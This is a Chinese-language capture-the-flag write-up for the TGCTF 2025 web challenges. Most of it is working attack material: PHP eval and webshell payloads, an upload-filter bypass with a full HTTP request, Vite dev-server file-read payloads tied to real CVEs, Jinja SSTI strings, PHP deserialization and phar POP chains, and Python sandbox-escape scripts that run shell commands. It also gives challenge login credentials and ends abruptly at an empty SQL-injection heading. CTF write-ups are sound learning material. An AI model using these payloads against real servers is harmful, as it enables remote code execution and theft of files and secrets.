TGCTF2025-WEB WP

AAA偷渡阴平

<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
    //hint：你可以对着键盘一个一个看，然后在没过滤的符号上用记号笔画一下（bushi
    eval($tgctf2025);
}
else{
    die('(╯‵□′)╯炸弹！•••*～●');
}

highlight_file(__FILE__);

考点无参数rce

文章:https://blog.csdn.net/2301_76690905/article/details/133808536

payload:?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /flag');

AAA偷渡阴平（复仇）

说是不可以用无参数但是没有禁止session类的函数

;分割可以执行两个命令

?tgctf2025=session_start();passthru(hex2bin(session_id()));

cookie:PHPSESSID=636174202f666c6167

(ez)upload

文件上

dirsearch扫描可以扫出upload.php 题目提示是备份文件于是尝试访问upload.php.bak

得到源码

<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

        if (isset($_GET['name'])) {
            $file_name = $_GET['name'];
        } else {
            $file_name = basename($_FILES['name']['name']);
        }
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['name']['tmp_name'];
            $file_content = file_get_contents($temp_file);

            if (preg_match('/.+?</s', $file_content)) {
                $msg = '文件内容包含非法字符，禁止上传！';
                $status_code = 403; // 403 表示禁止访问
            } else {
                $img_path = UPLOAD_PATH . $file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                    $msg = '文件上传成功！';
                } else {
                    $msg = '上传出错！';
                    $status_code = 500; // 500 表示服务器内部错误
                }
            }
        } else {
            $msg = '禁止保存为该类型文件！';
            $status_code = 403; // 403 表示禁止访问
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
        $status_code = 404; // 404 表示资源未找到
    }
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
    'status_code' => $status_code,
    'msg' => $msg,
]);

这里发现htaccess被禁了但是这里看到了2个非常具有特性的函数

`$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);`

这行获取的是文件的拓展名，同时又对ph和hta进行了过滤

`move_uploaded_file`

定义

1 2	move_uploaded_file() 函数把上传的文件移动到新位置。如果成功该函数返回 TRUE，如果失败则返回 FALSE。

语法

1
2
3

move_uploaded_file(file,newloc)
file:必需。规定要移动的文件。
newloc:必需。规定文件的新位置。

提示

1 2	注释：该函数仅用于通过 HTTP POST 上传的文件。注释：如果目标文件已经存在，将会被覆盖。

漏洞利用

当move_uploaded_file函数参数可控时，可以尝试/.绕过，因为该函数会忽略掉文件末尾的/.，所以可以构造save_path=1.php/.,这样file_ext值就为空，就能绕过黑名单，而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

直接先传个文件然后再把后缀改为*.php/.即可

GET也要传入?name=*.php/.

然后蚁剑连接成功，找flag就好了。

总结下

pathifo函数帮助绕过对php后缀的检测让file_ext返回值为空

move_uploaded_file 函数则是帮助删除/. 让保存文件后缀最后变为php

上传文件的数据包

POST /upload.php?name=22.php/. HTTP/1.1
Host: 127.0.0.1:60681
Content-Length: 310
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:60681
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU4VFMZ4wbU2hEGvg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:60681/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryU4VFMZ4wbU2hEGvg
Content-Disposition: form-data; name="name"; filename="22.php/."
Content-Type: image/jpeg

<?=eval($_POST['1']);?>
------WebKitFormBoundaryU4VFMZ4wbU2hEGvg
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryU4VFMZ4wbU2hEGvg--

前端GAME

进去是个小游戏本来以为是正常思路但是怎么都做不出于是题目是个vue框架的游戏于是搜索发现有关于这个的漏洞

漏洞文章:Vite开发服务器任意文件读取漏洞分析复现（CVE-2025-31125）-先知社区

Vite存在CVE-2025-30208安全漏洞（附修复方案和演示示例)

Vite漏洞原理

Vite在开发服务器模式下，提供了@fs功能，原本是为了让开发者访问服务允许范围内的文件。正常情况下，如果请求的文件超出了这个允许范围，Vite应该返回“403 Restricted”，提示访问受限。但攻击者发现了一个“漏洞”，当在请求URL中添加?raw??或?import&raw??这样的特殊参数时，就能绕过原本的文件访问限制检查。

原因：Vite在处理请求的多个环节中，会移除类似?的结尾分隔符，但在查询字符串的正则匹配过程中，却没有考虑到这种特殊情况，这就给攻击者可乘之机，他们利用这个缺陷，就能读取目标文件的内容。

题目解法

直接按照他给的payload /@fs/tgflagggg?import&raw??

前端GAME Plus

上一道题的payload不可行了

文章未公开的poc:可以通过svg来进行文件读取 /@fs/tgflagggg?import&?meteorkai.svg?.wasm?init

得到VEdDVEZ7ZmUxM2MzZGYtYzNkNC1hYjJhLTQwZjYtNjNjYjM1MzczNjAyfQo=

base64解码 TGCTF{fe13c3df-c3d4-ab2a-40f6-63cb35373602}

前端GAME Ultra

plus的payload也不可以

/@fs/app#/../proc/self/environ读环境变量

也可以 /@fs/app/vite-project/#/../../../../../tgflagggg

直面天命

访问/hint 提示是一个四个小写英文字母的路由爆出来是/aazz路由

进去f12 看到说是可以传参数 but不知道参数是什么那就arjun爆破吧爆出来是filename

看到fillename参数一般会考虑到ssrf 就像name是ssti一样

传入?filename=/etc/passwd

可以读取尝试读取环境变量

?filename=/proc/1/environ

也可以直接读/flag

直面天命（复仇）

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker？哼，还天命人，可笑，可悲，可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐，谈什么天命不天命的，还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了，你已经可以直面天命了！我帮你把“secret_key”替换为了“{{}}”
最后，如果你用了cat，就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子，真的能做到？

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了，查询语句如下：
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint：
有一个aazz路由，去那里看看吧，天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

审计源码黑名单

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']

把{}ban了但是天命和难违可以替换为

所以直接按照黑名单打ssti就可

最后payload

天命((g['p''op']["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('o''s'))['p''open']('cat /t*'))['r''ead']()难违

火眼辩魑魅

进去dirsearch扫描网站看到robots.txt 访问得到很多路由说是只有一个能到

直接到/tgshell.php打rce即可

post传入· shell=print \cat /t*`;`

因为是一句话木马也可以直接使用蚁剑连接然后也可得到flag

什么文件上传？

进去是文件上传发现传什么都被ban 于是dirsearch了一下网站 robots.txt里有东西

[图片]

访问/class.php 发现是是反序列化并且有漏洞点

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();     //1
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();                 
            }
            else{
                return $this->doing->better;      //2
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);     //3
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?>

理一下大概的链子顺序

yesterday::destruct（study=new today）-> today::__call（doing=new future）-> future::__tostring

然后post传入wow就可以进行命令执行但是有个注意点

    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
......
    unserialize(best64_decode($data));

序列化后的数据还要base_encode 5次传入

pop链如下

<?php
    class yesterday {
        public $learn;
        public $study;
        public $try;
    }
    class today {
        public $doing;
        public $did;
        public $done;
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
    }
$aa = new yesterday();
$aa->study = new today();
$aa->study->doing = new future();
echo serialize($aa);
?>

null替换为%00就行了因为private属性的原因

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在传入wow=cat /flag即可

什么文件上传？(复仇)

漏洞利用点:phar协议流可被file_exists()函数直接触发可以上传.avg文件

链子如下

<?php
    class yesterday {
        public $learn;
        public $study;
        public $try;
    }
    class today {
        public $doing;
        public $did;
        public $done;
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
    }
$aa = new yesterday();
$aa->study = new today();
$aa->study->doing = new future();

$phar = new Phar('sauy.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($aa);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

php -d phar.readonly=0 -f explore.php

将生成的sauy.php改为atg 上传成功后到class.php 进行反序列化操作

get传入：?filename=phar://./uploads/sauy.atg/test.txt

post传入：wow=env

熟悉的配方，熟悉的味道

进去即使源代码贴脸但是可惜我不会赛后复现算是学到了谢谢实验室的佬大教我

考点：沙箱绕过 python代码注入

源码

from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}


def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1


def home_view(request):
    expr_input = ""
    result = ""

    if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):
            try:
                result = eval(expr_input, eval_globals)
            except Exception as e:
                result = e
        else:
            result = "爬！"


    template_str = 【xxx】

    env = Environment(loader=BaseLoader())
    template = env.from_string(template_str)
    rendered = template.render(expr_input=expr_input, result=result)
    return Response(rendered)


if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('home_view', '/')
        config.add_view(home_view, route_name='home_view')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 9040, app)
    server.serve_forever()

法1：用抛出错误实现RCE，用污染HTTP 500的返回消息实现回显

脚本

看不懂问ai

import requests

url = "your_url"


code = f"""
b = re.match.__globals__['__builtins__']
b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body",b["__import__"]('os').popen('ls /').read().encode())
raise Exception("1")
"""

resp = requests.post(url, data = {
    "expr": f"exec({code!r})",
})
print(resp.status_code)
print(resp.text)

脚本解释

首先通过 b = re.match.__globals__['__builtins__'] 这一步是通过加载__globals__的属性访问全局空间 目的是绕过对__import__和__builtins__的限制 相当于绕过对这个的沙箱限制

然后 b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body" 是过__import__函数动态加载wsgiref模块wsgiref.handlers.BaseHandler是WSGI处理HTTP请求/响应的基类，负责生成错误响应内容。

b["__import__"]('os').popen('ls /').read().encode() 然后修改类的error_body属性为命令执行的内容 然后encode是把其转化为字节类型

raise Exception("1")是强制抛出异常 触发WSGI报错

原理

通过故意触发程序中的异常（错误），利用异常处理机制中的漏洞执行恶意代码。例如，在动态代码执行环境（如eval）中，攻击者构造输入引发异常，同时注入恶意代码。

做题思考步骤：

输入构造：提交包含恶意代码的输入，如1 + "a"引发类型错误。
异常触发：服务器处理输入时抛出异常，进入错误处理流程。
代码注入：在异常处理过程中，恶意代码被解析执行。例如，通过__import__('os').system('ls')执行系统命令。
绕过限制：利用反射或内置对象（如__builtins__）绕过沙箱限制，实现任意代码执行。

法2：布尔盲注

import string
import requests
from tqdm import tqdm
url = ""
flag=""

for i in range(len(flag),50):
    # for s in 'TGCTF{':
    for s in tqdm('-'+'}'+'{'+string.ascii_lowercase+string.digits):
        data = {"expr":f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));1/a"}
        # res = requests.post(url, data=json)
        res = requests.post(url, data=data)
        # print(res.text, s)
        if res.text != "A server error occurred.  Please contact the administrator.":
            flag += s
            print(flag)
            break
    print(i)s

法3：pyramid内存马

推荐这篇师傅的文章捏 https://www.yuque.com/polestar-mzvgl/swtget/zuh78rfp7i67u219#AWd8j

也可以看我的博客内置文章 https://sauy122.github.io/2025/04/16/python%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/

TG_wordpress

有很多漏洞点治理只写一种

扫描二维码下下来一个apk文件 jadx反编译后全局搜索 password

1
2
3

<string name="web04">+ username/password:</string>
<string name="web05">+ TG_wordpressor</string>
<string name="web06">+ aXx^oV@K&amp;cFoVaztQ*</string>

在/login路由登录进入过后查询插件确定cve 的型号(你可也直接复制插件的内容然后直接问dp)

TGCTF{CVE-2020-25213}

TGCTF 2025 后台管理

SQL注入